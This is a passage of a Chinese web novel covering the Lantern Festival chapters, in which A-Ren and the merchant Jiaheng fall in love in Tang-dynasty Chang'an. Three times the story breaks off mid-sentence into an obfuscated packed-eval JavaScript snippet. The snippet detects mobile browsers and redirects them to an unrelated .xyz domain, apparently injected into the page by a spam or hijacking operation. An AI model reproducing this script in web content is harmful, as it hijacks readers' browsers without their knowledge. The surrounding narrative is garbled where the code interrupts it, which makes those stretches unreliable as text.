“我还是请齐翰林来家里指点一下他,你别由着他出门。赌坊的生意呢?” 她凝视了他一会儿,伸手按住了他的眉心,然后顺着他的鼻梁缓缓滑下,滑过两片嘴唇,他的下唇便被拨得弹了一下。闻辩握住她的手腕:“赌坊的生意呢?” “明天是上元节,你要和我们一起出去吗?” “你和法儿想的话,我可以陪同;若不需要,我也有事情要办。” 照影撅起嘴,少女的娇憨回到她脸上,她突然转身兀自去拨弄那香炉。见她不搭理自己,闻辩也懒得找个板凳坐下了,只是简要地叙述了这一趟走下来后的财务收支便出了门。 12. 上元灯会 阿忍下午便出门了。她想先探探长安娘子们的装束、妆容是怎样的,怕自己显得土气,被人笑话。昨天与曹沛沛一同上街还买了画眉墨和胭脂,她如今躲在帷帽后面,仔细地观察着。因为杨贵妃爱涂极白的铅粉,再在腮边涂极深的胭脂,连擦汗的手帕也染红,许多贵妇也学着这样打扮;年轻些的小娘子则爱在额头上画蕊黄妆、贴花钿,在唇边画面靥;当然选择不施粉黛、男装上街的娘子也不在少数。 她来自小地方,一时间还不能接受长安这样雍容夸张的妆面,眉毛没技术也画不好,就往唇上涂点胭脂算了。胭脂她随身带在身上,便在城内河边蹲下,掀开帷帽一角,涂了个小蝴蝶的形状。 此时已经夕阳西下,她此前从未见过街上能有这么多人:许多灯楼、灯树已经搭起来,脚手架上都是忙碌的人,各家店铺正在牌匾边挂灯笼,许多家庭已经吃过晚饭、结伴出行了,大家族更是有整齐的马队和统一的服饰。无问贵贱,男女混杂,缁素不分。巨大的期待与喜悦悬浮在空中,使凛冽的空气都温暖起来。 走到朱雀门前,天门街从这里延伸向明德门去,是长安城的中轴大道,宽度足足有四百六十五尺。数代皇帝的玉辇从此处往城南祭天,现在小小一个赵安忍也站在这里,感受数百年的大风呼呼刮过。 行人越来越多了,冬天的天也黑得快,出门时觉得日落前有时间来回一趟,现在发现还是低估了距离。黑暗低伏着降临在大地上,远远近近的灯火哧哧地亮起来,人潮一波一波地涌出,她毕竟是个独自上街的女子,连忙惴惴不安地将帷帽系紧。隔着一层白纱看什么都是朦朦胧胧的,火光与人群,红红黑黑,她在模糊的色块中被左右推搡着走。 现在并无看灯的心思,只想快点回都城驿,这样盛大的场面她一个沙州的姑娘应付不来。 后面突然有小孩的嬉闹声,两只小手隔着裙子抓住了她的腿;躲闪着向左靠去,浓烈的男人的汗味便扑面而来,一张衰老的男人的脸凑近白纱瞄他。阿忍心里憷得发毛,只是低着头,看着脚下清晰的路一步一步走着,祈盼人群能渐渐分散。难怪女人要么结伴上街,要么和家属一起,尊贵些的就得带仆从呢,她默想,身边的几个男人好像在故意挤自己。 突然一只手掀起了帷帽的纱帐,她立刻抬头,伽衡弯着腰与她四目相对,笑道:“跟我来。”他一只手虚虚握住她的手腕,另一只手环在她背后阻挡人群,慢慢带她挪出来人潮。身边的人见他这样一个高大的胡人,便自动隔开了些。 他既没问她怎么不守约在驿站门口等,也没问她怎么一个人跑出来。 自从伽衡出现的那一刻起,莫大的安全感就油然而生。阿忍原来是为了避人才戴的帷帽,既然他来了,便取下背在身后。更何况帽檐也挡视线,他太高了,会看不见他的脸。 世界一下子变得清晰可控,朱雀门口一座巨大的鱼灯在此刻被点亮,橙黄的光晕在她身后弥漫开。阿忍笑吟吟地拢了拢披肩,平日里笑不露齿,这下连牙齿都露出来一点点,在她蝴蝶形的胭脂中间。 伽衡凝视着她说:“你好漂亮。” 第二盏鱼灯亮起,就在他们身边,将阿忍瓷玉一般的皮肤照得温润生光。他一时间有点口干舌燥,在这样的美面前,他的爱慕都要变成虔诚。人们惊呼:“开始游车了!”他们转头望去,乐工坐在牛车上吹奏,牛被装扮成虎、犀的样子,两道走着无数宫女唱歌跳舞,越来越多普通人家的妇女也加入游车的队伍。两只大象紧跟其后,背上驮着巨型灯轮,它们迎风走,灯轮就流光溢彩地缓慢旋转着,珍珠玉石与金银穗互相碰撞着作响。 “今日无论贵贱,长安城有名的美人都会坐在这象车上游街。”伽衡给她一指,“那个是女蛮国的子夜歌。” 女蛮国是个小国,其国中美女高髻金冠,璎珞被体,唐朝爱管美丽的女子叫菩萨,乐工便为作《菩萨蛮曲》。阿忍仰头望去,见那容貌俏丽的女子束着高高的发冠,身上没有衣料,完全是用精美的宝石遮蔽的,然而神情却庄严异常。路边的富家子开始往象车上砸金子,几个牵象的人忙挡住,怕他们惊扰了大象。 大象一只又一只走来,被压严实的路面已经浮出尘土,有些人伽衡认识,便在她耳边解释这是谁。倒不是说他真有多留意长安的美女,只是熟人遍布、听得也多,甚至很多胡姬就是他从西域接送到长安来的。大概过了小半个时辰,最后一辆车出现了,两个宫女擎着芭蕉形的虎皮扇站在体态丰腴的女人背后,大象每走一步,伴随的童子就往街边撒一捧珍珠。 杨贵妃赤脚站在金莲花底座上,满头珠翠、环珮珰然,十几尺长的披帛在身后随风飘飞。她果然画着那种极红极白的妆容,全天下也就杨贵妃一人画着让阿忍不觉得奇怪,不仅如此,甚至让她神魂跟着震颤起来;杨贵妃抬着下巴微微一笑,四周的花灯顿时就黯然失色,连光亮和色彩都像是对她俯首听命的臣子,只将她一人照成整条天街最夺目的女人。 若非群玉山头见,会向瑶台月下逢。 阿忍呆呆地看着,第一次被如此绝对的美貌冲击得话也不会说了。直到伽衡道:“你之前说不能与歌女作比,杨贵妃是天下最尊贵的女人了,在我看来还是不如——” 她这才回过神来,不可思议道:“你什么审美呀?” “真的,她涂得跟个年画娃娃似的。” 阿忍连忙比嘘的手势,生怕这样乱说要被拖进宫里打板子。伽衡只好在心里为自己鸣冤,他的审美很固定,喜欢带有神仙气质的女子——比方说那身形表情如壁画般古典的子夜歌,在他看来就比人间贵妃好看。 早年间他买卖画像和木泥塑像,甄别遴选那些风格迥异、手法不同的神仙菩萨,总是喜欢它们的一部分,而觉得另一部分差强人意,审美与灵感也在这些经历中一点一滴地积攒着,直到看见阿忍的那天最终凝结成一个固定形象。她仅仅是站在那里,他就爱她,他甚至思念她——像是千百年前,阿忍如菩萨一般无情无欲地亲吻过他的额头。 他伸手碰了碰阿忍的指尖,她颤抖了一下,没有缩回去,他的手指便逐渐挪移上去,紧紧牵住。阿忍手心迅速就起了一层薄汗,他用食指蹭了蹭。 又走几步,踏歌的队伍便到来了。千门开锁万灯明,正月中旬动帝京。三百内人连袖舞,一时天上著词声。年轻男女肩抵着肩,踏足而舞、联袂而歌,不断变化着队形,齐齐甩袖子时便是一阵香风袭来,据说他们要连跳三天三夜不停歇。人流又逐渐变密集,划旱船、吞剑走绳、摔跤相扑的杂耍艺人纷纷上街,伽衡指着舞马队的其中一人道:“这是闻法,闻公子。” 阿忍震惊道:“闻先生他居然有儿子?” “嗯。很久以前闻夫人就是在子夜歌那个位置游街的头牌娘子,后来闻辩为她赎了身,帮她开了间赌坊。虽说叫闻夫人,但是唐律规定‘良贱不得为婚’,法律上只能算妾室,闻辩对她却是正室待遇。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001936|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说的不多,不过这位闻公子纨绔刁恶是出了名的。” 马跑得飞快。伽衡注意到闻法双手都攥着缰绳,不知如何催马快跑的?直到马匹跑过他们的时候,才看到它的尾巴在燃烧。他皱起眉。 一个个身形敏捷的男人先是牵着缰绳与马一起奔跑,跑几步后跳上马背站着,不管马匹在鼓乐中昂首奋蹄还是铆足狂奔,骑手始终稳稳站着,甚至还能摆出舞剑的姿势。闻证在娘子们的叫声中显得自鸣得意;更多女子在喊“解大侠”,闻证后面的一个男人便呲着大牙坐回马身上,突然身子倾到与地面平行的程度,伸出一只手,与女子们伸出的手一一击掌。阿忍是没伸手的,他硬是又往外蹿了点,强行拍了她垂在身边的另一只手掌。 伽衡异常震惊,吹了声口哨,叫那马犹疑不定地刹住了。 “解大侠”十分无辜地回过头来。这张脸他好像在哪里见过,“你是不是在粟特的岁首节上夺冠的那一个?” “是我!哎呀,熟人,”解大侠立刻翻身下马,把他那只空闲的手也握了握,“不好意思没看见你俩牵这么紧。你是当时也在场吗?” 伽衡点了点头。 “那自我介绍一下。我叫解不寻,”解不寻好像是对着伽衡说话,却又朝阿忍眨了眨眼睛,一双丹凤眼光莹内敛,英俊倜傥,“若遇到危难,只需大叫一声‘解大侠’,我听到自会前来相助。” 伽衡与阿忍也自报姓名。马拉坎达竞技场上那个潇洒落寞的背影与这个恣意快活的解不寻重叠,伽衡原先便佩服他,又见他是个爽快人,也没什么不满了。只是对他这样轻易地摸了阿忍的手耿耿于怀:“这位小娘子性格害羞,我与她相识许久也是第一次牵她的手,你第一次见便摸到了,该当如何呢?” “今日是上元节,何况我见赵娘子又没有不高兴。”解不寻笑着又看她,“赵娘子,你可千万别觉得冒犯。我没有别的意思,我是觉得你长得像小妹。” 好土的理由,长得像妹妹。伽衡也看她,“她不高兴也不会摆在脸上的。” 阿忍在下面狂拽他袖子,别说了别说了,你知道我害羞就别说了! 解不寻本来就是爱找乐子的人,闻言立刻道:“既然如此,你替她出气?我们比谁先折一枝树枝送给赵娘子。谁输了谁请客。”他一指远处的花树,枝头都吊了小灯盏,用彩蜡和丝帛装饰着。伽衡答应了,转身向队内的人借了一匹马。 他俩人坐稳后,同声喊着三二一,闪电般蹿了出去。阿忍心道哪里是为我出气,分明是你们想玩吧,好笑地摇了摇头。 无论是怎样的烈马到了伽衡手上都只有听话的份儿,他扯着缰绳,操控着马躲避着人群;解不寻见前面来了一列车队,干脆踩在马背上一下跳到车顶,然后一辆辆跳过去。眼见他手就要够到树枝了,伽衡突然一鞭子打过来,整棵树晃荡着洒出蜡油,解不寻忙侧身回避。伽衡一踢马肚子,马整个直立起来,他顺手折下树枝就回转;这边解不寻也采到了,又使出轻功一路跑回马背上,按理说他是距离阿忍比较近的。 然而马的速度很快,他若一直骑着伸手给她,怕树枝上沾的蜡油会烫到她。因此最后一段距离还是慢了下来,伽衡这时候才全速赶到,他只用双腿夹着马身,左手远远地拎着那根树枝,右手直接揽到阿忍腰上,一把将她拐上马来,这才慢慢减速,将树枝递给她。解不寻还保持着伸手的姿势,阿忍凭空就不见了,他抬头瞪伽衡:“你怎么直接抢人。” 13. 无计奈情何 伽衡得意道:“什么抢,本来就是我的。”说罢直接把下巴搁在阿忍头上。 解不寻无语片刻,将树枝随手一扔又笑起来,“那愿赌服输,我请客!” 是个痛快人,叫声解大侠也没什么不对的。伽衡对他好感尤甚,便抱着阿忍下马,与其同游。解不寻说自己经常会周游四海,但总体上是住在长安的,二位可以常来找他,说着便带他们来到一家食肆。他熟练地向店家报出一串菜名,才道:“这家的焦圈都特别好吃,五仁馅儿和肉菜馅儿你们都得尝尝。酒要什么?剑南烧春、富平石冻还是马朗酒?” “阿忍能不能喝酒?” “我能喝一点点。”她答,“都随便,便宜点的吧。” 解不寻立刻嚷起来你莫不是在小瞧我,挥手就叫店家上最贵的酒。旁边一桌的人在谈安禄山,她听着觉得有些魔幻,长安城里歌舞升平,然而正月初一时安禄山已然在洛阳称帝了。这一路走来,他们一支孤零零的商队常在野外,消息并不通达,到长安后当地百姓也是一副没事的样子,没谁主动谈起这场叛乱,她也就一直不甚了解。 现在竖起耳朵,听到名将高仙芝、封常清已被杀的消息,更是觉得世事无常。她的家乡沙州离吐蕃格外近,常常有吐蕃人来抢劫作乱,而这一对将士搭档曾击退吐蕃、占取小勃律,让吐蕃好一段时间没来犯境。都说当今皇帝智谋绝伦,怎么就这样杀了两员大将、动摇军心?更何况还有传言说他们放弃洛阳、退守潼关是审时度势之举,被斩之时,全军都在喊“冤枉”。叛军从河北一路打到洛阳,如入无人之境,当真没事吗?怎么不见人说起呢?向外看去,西域灯轮千影合,东华金阙万重开;低头再看,美酒和金黄酥脆、油香扑鼻的焦圈端到了面前。长安人欢饮达旦,洛阳人苦盼王师。 伽衡靠在椅子上,一直看她,也知道她在听别人说话:“阿忍,这一趟回去,我可以带你和你义父去西域避避。” 阿忍摇了摇头,“总不至于能打到河西。” “连长安应该都是安全的。你们汉人的太平天子,不会由着这胖子到帝都的。” 到了子时,解不寻决定去赌场回回本,他冲动之下点了最贵的酒,然而伽衡酒量惊人、完全喝不醉,现在想来还是很肉痛。阿忍和伽衡与他告别后就打算直接回都城驿。 踏歌的声音一阵一阵地飘来,远远望见韩国夫人的百枝灯树,高八十尺,竖立于山上,百里外就能看见,比月亮还明亮。他们就在亮如白昼的午夜里慢慢走着,阿忍有点头晕,她喝了两杯,酒劲儿浮上来了。 伽衡瞧着她脸颊通红的样子,忍不住逗她:“我好不好呀?” 她细声细气道:“你最好。” “你喜不喜欢我?” 她在炫目的各种灯光下看他,是那张她第一眼看就喜欢脸,脸部轮廓是硬而略带野蛮的,而眼尾又是柳叶的形状,睫毛长长的垂着,这样漂亮的眼睛还总是含着情意看她的。阿忍使劲儿盯着他看,抬手摸了摸他的耳坠,认真道:“这是我戴的,一辈子不准取下来。” 伽衡是第一次发现她好像很喜欢自己的外貌,开心的不得了,弯下腰把脸凑过来给她摸。阿忍当真欣赏地摸了一会儿,捧着他的脸,在右颊上小小亲了一口。他猛的一下把她抱住,想了想,又慢慢松了手。 “不行,”他对她说,“我还是等你明天清醒后批准一下。” 阿忍没撒手,她原来是捧着他的脸的,现在挪到后面环住了他的脖子,踮起脚又亲了一下。伽衡脖子上的青筋都憋出来了,他打横抱起阿忍就往回跑,把她放在床上后,转身冲下去打一盆井水洗澡。店家剃着牙齿乐呵呵地瞅着,上元节嘛,年轻人嘛,见怪不怪了。 此时都城驿空荡荡的,大多数人彻夜不归。曹沛沛被曹丰年他们几个带到义宁坊,这是他第一次来,可素来听被人说的都是平康坊。他问曹丰年为什么不是平康坊?曹丰年怜悯地看了他一会儿:“你会行酒令、和诗吗?义宁坊胡姬多,直接就能......汉人的文人骚客才去平康坊,喝酒要行酒令,听曲儿要猜音韵,看上谁呢还要写诗相邀。不过是烟花地,弄得这样复杂!” “我看今晚那个叫子夜歌回了平康坊。” “人家从小便来了大唐,学着汉人吟诗作对。” 曹沛沛一下子兴趣全无,面前这些端茶送水的女孩儿,不过是和他一样流落异乡的同族姐妹呀。汉人还看不起她们,平康坊的都知仅仅是聊天就能一夜千金,胡姬的价钱就便宜的多,还写些“眼睛深却湘江水,鼻孔高于华岳山”这样的诗来嘲笑。鼻孔高与鼻孔低本来也没什么贵贱之分,不过是不同种族不同相貌,然而汉人强大,所以汉人的低鼻孔就是高贵。 他心情郁郁地又想到了亲人,喝完酒便要告辞。曹丰年笑他是个小孩儿,不算个男人,也再懒得管他。说起来他们都姓曹,是曹国老乡,但也是进了商队后才认识的,关系不咸不淡。 门外是火树银花不夜天,月华连昼色,灯影杂星光。他一路踢着黑乎乎的残雪往回走,路边有很多叫卖的小摊贩,但他一分钱也不想花。赵娘子现在在干什么呢,他苦涩地想着,一定和伽衡在一起吧。 回大堂后他的猜想就得到了验证,伽衡正在与侍女说话,请她帮忙为阿忍盖好被褥、关好门,看起来心情好得不得了。侍女一边疯狂点头,一边抑制着上扬的嘴角,遐想着刚刚发生了什么。转身看见他,伽衡甚至懒得打招呼,点点头便快步出去了。 曹沛沛站在原地消化了一会儿所见所闻,觉得一会儿气急败坏一会儿如坠冰窟,胸中冷热交替,呼吸越来越急促。就算你......他咬牙想道,然而赵娘子可是清白的、未出阁的姑娘!再说,她那样矜持温和的性格,怎么会容许你这样胡来?他几乎断定伽衡是用了什么下流的手段,但现在赵娘子还什么都没表示,自己在这儿计较个什么劲儿。 就算赵娘子明日起来悲愤不已,又能怎样呢。他拖着脚步上楼时悲哀地想,我也不能为她做什么。我就算不怕挨打,也不能丢掉这份工作呀。 大楼内的灯光是温暖的橙黄色,窗外的夜空也亮如白昼,交相辉映间,长安城美如琼楼玉宇。但这终究不是他的容身之处,这里的一切旖旎佳话也与他无关。 长安是个好地方,然而我有家的。 郑龟寿和郑枥此刻也在街边的某个小摊上吃焦圈,郑枥年纪小,兴奋地伸长脖子到处看,对面的郑龟寿也用手撑着脸观赏着远处的花灯。他感觉自己年纪有些大了,到这个点就有些熬不住,然而实在不想扫侄儿的兴。“小子,”他慢慢开口道,“过两天我可能要离开长安。” “商队就要离开了吗?” “我和闻辩要离开,按照约定付他报酬。你自然还是和大家一起留在这儿的。” “我和你一起走吧。”郑枥语气平淡。 “哟呵,一路上你都在不停地试探我,这会儿就想和六叔一块儿啦?”郑龟寿哈哈大笑起来,男孩果然如他预料地一般恼羞成怒,“谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001937|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想和你一块儿?闻辩走了,就要听章堂和伽衡的话,他们可不是什么好东西。你不带着我也行,给我点钱,我回秦州给六婶帮忙去......” 他声音停住了,郑龟寿在桌下将一颗珠子塞进他手里,桌面上的另一只手端着酒杯,泰然自若地啜了一口。郑枥惊疑不定,瞥了一眼,那珠子在黑暗中竟然散发着幽幽的黄绿色光芒。随珠,这能卖多少钱? “别给我卖了啊。”郑龟寿道,“长安马上要变天咯,你到时候就拿着这颗随珠去找吕蒙恩,他看了便会保护你的。吃这个焦圈,要凉了。” 一群孩子哄闹着跑过去,好像在争抢一个精美的兔子灯,后面几个仆从无奈地追。其中一个小女孩的膝盖撞到了他们的桌子腿,一下跌坐在地上放声大哭起来,郑枥惊得没拿稳随珠,珠子骨碌碌地不知道滚到哪里去了。一时间,他满地乱爬着追随珠、小女孩高声哭叫、仆从一边去抱她一边打桌子喊“坏桌子”,精彩的郑龟寿都不知道往哪儿看。 郑枥在随珠滚到水渠的前一秒扑过去摁住了它。回去时,孩子们都不见了,只有郑龟寿姿势也没变一下。万一我没找到呢?他突然想,万一我没找到,他该走还是走,长安该变天还是变天,我该倒霉还是倒霉。一直叫我去做莫名其妙的事,却什么重要的消息也不给我说......他定定地站着,正月的寒风呼啸而至,突然一下把如梦如幻的歌舞声冲散了。郑龟寿朝他招了招手,他还是过去坐下。 “靠谱点儿,我一路上都藏鞋子里,掉不出来。”郑龟寿眯眼笑道。据说这个六叔长得很像父亲,浓眉大眼,笑起来鼻子上还会耸出许些细纹,给人一种纯良的错觉。母亲当初就是信了这副相貌,与同为仆人的父亲私通,躲在马槽后生下了他,所以取名为“枥”。谁也不想费心取个有祝福意义的名字,这孩子的出生带来了灾难——母亲挨了一顿痛打,父亲跑了。 所以郑枥从小就知道,即使是至亲也靠不住的。 他眼下嗯嗯啊啊地应着,两人又吃了一会儿,到了丑时准备打道回府了,只好恋恋不舍地舔干净筷子。郑龟寿见他这副模样,好笑道:“店家,再来一份,用油纸包好带走。”又问了茅厕的位置,带着郑枥过去。 郑枥道:“我不解手。” 四周无人,是上元佳节夜里难得的僻静之地。郑龟寿也不脱裤子,转身对他说:“现在才是重点......想知道你爹怎么死的吗?” 那要从最开头讲起呢。郑氏古玩铺,你知道吗?你肯定不知道,你懂事的时候,它已经没落了;而在我懂事的时候,它如日中天,在长安东市都有大铺面。那是我的祖父、你的曾祖父开创的,他叫郑宗望,是个了不起的人物。父亲去得早,祖父疼爱我们所有人,给我们讲故事、教我们经商,但他最信任大哥,有些事情只交给大哥去做。嫂子怀着你的时候,他路过秦州,说要去沙州,找一个姓赵的工匠。 “几年后他再次路过秦州,说这回是要去长安。那是我见到他的最后一面。” 郑枥心里发堵,“但是我娘说他是个——” “不是。”郑龟寿打断他,“他要做的事情,是和谁都不能讲的。但我差不多猜出来了。那是你曾祖父的命令,他要你爹完事后立刻自尽。你爹呢,也是个孝顺的。” “啊?你不是说曾祖父最喜欢我爹,为什么会让他自尽?” “因为郑宗望自己要复活。”郑龟寿嘿嘿一笑,“在自己必须要守护好的秘密之前,哪还管什么子子孙孙。” 14. 三毒 阿忍是被踏歌声吵醒的,已经日上三竿。她意识到昨晚好像喝醉了酒,再后来发生了什么就不记得了,这种对行为失去掌控的情况顿时让她全身发毛。每一次冥想时她都在面对真实的赵安忍,她对自己是什么样的人一清二楚,并耻于让人看见。 她决定先下手为强,换好衣服后就迅速下楼去找伽衡。他不在自己的房间,不在大堂,也不在马厩,巴瑞施玛趴在地上嚼干草。阿忍把自己咬了一半的胡萝卜递过去,它欣然接受,下巴左一歪右一歪地咀嚼起来,正面看起来很傻。 “赵娘子早。” 她闻声抬头,曹沛沛从二楼的窗户里探出头来,“你要去哪里?” “早上好呀,你知道伽衡去哪儿了吗?” 曹沛沛来回拨弄着窗户,窗纸被风拍得哗哗响,过了好一会儿才说:“他去送货了。” 她洗了衣服,打扫了房间,像昨天一样涂好了唇脂。午后的阳光渗过窗纸蔓延进房里,本该使人困倦,但有另一种更为强烈的情绪哽在她喉头,是暴风雨前昏沉而安宁的潮湿。阿忍如从前数念珠一样数着自己的心跳,端坐在床上,全神贯注地等到了敲门声。来了,她把门打开一条缝儿,心跳陡然加速——而其中的恐惧甚至多于隐约的兴奋。 伽衡看见她一只眼睛在门缝后观望,乐道:“干嘛,不让我进去呀?” “我昨晚不是很清醒。” “发现了。” 阿忍快崩溃了,她发现伽衡好像始终憋不住笑但是又为了不惹她生气努力憋着,可她并不会生他的气,她生自己的气。“不是在开玩笑!我定然说了什么胡话,你全忘了便是。” “好啦好啦我不笑——” “伽衡!我酒后是会发疯的,你别当真。” 伽衡愣了愣,直接把门全部推开,她的手虽搭在门闩上,但也没使劲儿抵抗。发现这一点后她更加崩溃,这几个月来她拆了一座自己数十年来苦心经营的堡垒,但是一夜间那些散碎的砖石就嗖嗖飞来,飞来压死她。她呜咽一声,猛地松开手蹲下,把头埋进膝盖间。 “行啊,都是些胡话,你一点儿也不觉得我好……”他把她的脸掰起来,本来还想说出些“这就去找个姑娘帮我把耳坠取下来”之类的话,见她已经眼中含泪,硬生生憋住了。俩人大眼瞪小眼,他最终恼道:“气死我算了吧!” 阿忍不说话,泪眼婆娑地蹲在那里。他转身大步走了出去,又猛地冲回来:“你真的不追一下啊?” 她犹犹豫豫站起来:“我……” “你就仗着我喜欢的不得了,尽会伤我的心。” 一时间屋内极其安静,他低下头,快步走了出去。阿忍在心里数着秒数,到了第十秒疾步出去扶着栏杆往下看,他竟然真的已经下了楼。她手心冷汗涔涔,一时握不住栏杆,第十二秒时伽衡一个转身跑了上来,快得叫人都没看清楚,他已经微微喘着气站在身前了。 “我都下楼了,”他不可思议道,“你是真的不追啊?” 阿忍噗嗤一声笑了,连忙用袖子擦了擦眼泪。伽衡见她态度有所动摇,忙上前一步,拉住她的袖子摇了摇,“阿忍,也不求你说什么别的……你就说,我好不好?” “我昨晚就说了这一句吗?” “别的便不跟你计较了。” 阿忍贴近了一点,宽大的袖口把两人的手遮住了,她的手在其中主动拉住了伽衡的。伽衡瞳孔微颤,然后看见她有些紧张地闭上了眼睛。 “伽衡,”她用细微的几乎不可闻的声音说,“我知道我可能有点矫情,我……哎,那些事就再不管了。你不要生气——” “我哪能真生气。” “那好。你也知道我很害羞的,你看我,我都闭眼了……”她感觉自己失去了重心,慌忙睁开眼,伽衡将她抱回了房,闪身躲在墙后,知道她害羞便不让别人看见。阿忍再次闭上了眼。 “睁眼。” 她听话睁开,就看见伽衡笑嘻嘻地猛一下亲了过来,他自己倒是闭着的。 他至始至终都没把她放下,一直打横抱着,现在自己又莫名害羞起来了,把脑袋埋在她肩颈里,“我可太喜欢你啦!你嫁给我好不好?你是工,我是商,门户上应该没什么问题,只是听说聘礼要很多钱。你等我两年——” 阿忍容许着他说了这许多,因为实在喜欢他毛茸茸热烘烘的脑袋贴着自己皮肤的感觉,到这里实在听不下去了才道,“以后再说……先放我下来。” 伽衡依言把她放下,她坐在床边,他也贴着坐。她往旁边挪,他也跟着挪。阿忍咳了一声,转移话题道:“早上你送货去了?是我义父那尊泥塑吗?” “不是。你义父那件货闻辩不许别人碰的,是安金送货,送到哪里去了也不知道。”伽衡不怎么在意,“往车上搬的时候我搭了把手,明明是泥,却重的像金子一样。”定然是里面的镇物重。他早年曾听闻赵无量特别喜欢用自己抄了经书的竹片当镇物,塞得满满当当,谁搬谁要骂一句。 阿忍又说后天她和闻辩要去拜谒王给事,问伽衡要不要一起去。伽衡对王维一点兴趣也没有,再加上在长安其实有很多事要办,便说不去了。 阿忍遗憾地“喔”了一声,他立刻来劲儿:“你是不是想和我——” “不是!” “好吧,”他笑眯眯起身,“我是想和你一起的,但是闻辩在长安有六家铺子的买卖业务,真的走不开。现在又得出门……哎,你要不要来看看?”他都不等阿忍回答,抓起她的手(阿忍拼命把手往下挪让他好歹抓手腕)就一路小跑到西市。他其实半路上意识到自己拉着女孩是不是不该跑,回头却看见阿忍并不吃力,瓷白的脸上浮现出一层热气腾腾的红晕。 便想到阿忍一路上舟车劳顿、风餐露宿,后半程甚至和男人们一样骑骆驼,也没有表现出不适……伽衡如今才发觉她其实身体很好。只是平日里喜静不喜动,说话也慢悠悠的,容易给人弱柳扶风的错觉。 他带她来的铺子在西市从左往右数第十七家,名叫“云海间”。长安的九市分别为东市、南市、西市、北市、柳市、直市、交门市、孝里市、交通亭市,位于横门附近,以东市、西市最为著名。然而东市主要服务于达官显贵,西市则更加平民化,大多数胡商和倭国使者都在这里,近几年的繁荣程度甚至要超过东市,被称为“金市”。 闻辩早年做国内生意,前几家铺子都开在东市,云海间是他初次出西域回来后开的,取自李白的“明月出天山,苍茫云海间”。阿忍打趣道:“后面还说‘胡窥青海湾’……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001938|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“习惯了,唐人都爱这样写。”他帮阿忍掀开门帘,“你怎么在这里?” 阿忍望去,铺内光线较暗,因此四角和屋顶上吊了鲸油灯,紫檀木陈列架上摆着各地运来的奇珍异宝。屋内站着个两人,一个是婢女,另一个男人穿翻领胡服,腰间系着蹀躞带,其上栓着弓与箭囊,脚蹬鹿皮靴。他的头发编成了十几条鞭子,闻声转过身来,面色红润、眼似琉璃。 “这是阿史那哈尔!”他跳起来拍了拍男人的肩膀,把对方几乎摁到地上。 阿忍稍微有些惊奇。伽衡平日里招猫逗狗、吹哨发呆,与人都是一副不冷不热的态度,除了对自己,她还从未见过他对谁这样热情。这位阿史那哈尔必然是他很重要的朋友。这般想着,她不禁对阿史那哈尔露出来一点浅浅的微笑,颔首致意。 哈尔推开伽衡站起身,打量了一番阿忍,“这位是赵安忍娘子?” 她连忙行了个礼。 哈尔于是对伽衡说了句胡语,两人乐颠颠地笑了半天,末了伽衡转头对阿忍道:“他夸你漂亮。哈尔你讲汉语,别让阿忍听不懂。” 两人一同走到招待客人的桌边坐下,伽衡还顺手拉开一张凳子示意阿忍也坐。阿忍小地方来的,今日一见桌椅都是岭南黄花梨制成,都不敢坐下;又见桌上的茶具是秘色瓷,壁薄光滑、纯净无暇,乃青瓷中的极品,用袖子擦了擦掌心才道:“我去泡茶。” “哎,”哈尔阻止道,“你泡什么?这是伽衡管的铺子,你让他去。” 阿忍才不听,以前在家里总是她和弟弟抢着做事,从没有坐着等别人的道理。伽衡本来没打算喝茶,但既然阿忍要去泡,他便也立刻跟着去了。 隋唐继承了北朝的生活习惯,民间爱喝乳制品,尤其是西北地区。之前只有江东华族饮茶,玄宗时代饮茶的风气才逐渐流行开来,但沙州依然是不常见,阿忍还是随义父去寺庙辩经时从僧人那里学来的,将茶饼掰碎、烤干了泡水,再加盐蒜葱姜酥油等等。现在见了里屋里一众精美的茶具,意识到长安贵族不是这样喝茶的,一时间杵在了原地。 伽衡在西域生活多年,从来都喝的酒和乳酪,也不会煮这时兴玩意儿。“算了,咱们喝点水就走。” “你朋友来了,只上水怎么行。” 伽衡说你以为他来是干什么的,他来找我要宝贝的,劝了半天才把她劝出里屋。四人便就着些热水有一搭没一搭地闲聊起来。阿史那哈尔确实是来要宝贝的,他懂得谈话的艺术,先不提这个,以闲聊开头:“听说你和大名鼎鼎的解不寻比了一场马。” “他真的很大名鼎鼎吗?”伽衡思忖道,“看来我在外面跑的时间长了,名人也不认识。” “解不寻此人武功高强、散漫寻欢、好游侠,俘获了许多长安女子的芳心呢。大叫他的名字也确实有用,有一次余勒多斯的马车陷到泥里了,她试着喊了几声,解不寻在附近听到了,真来把马车扛了出来——是不是,余勒多斯?” 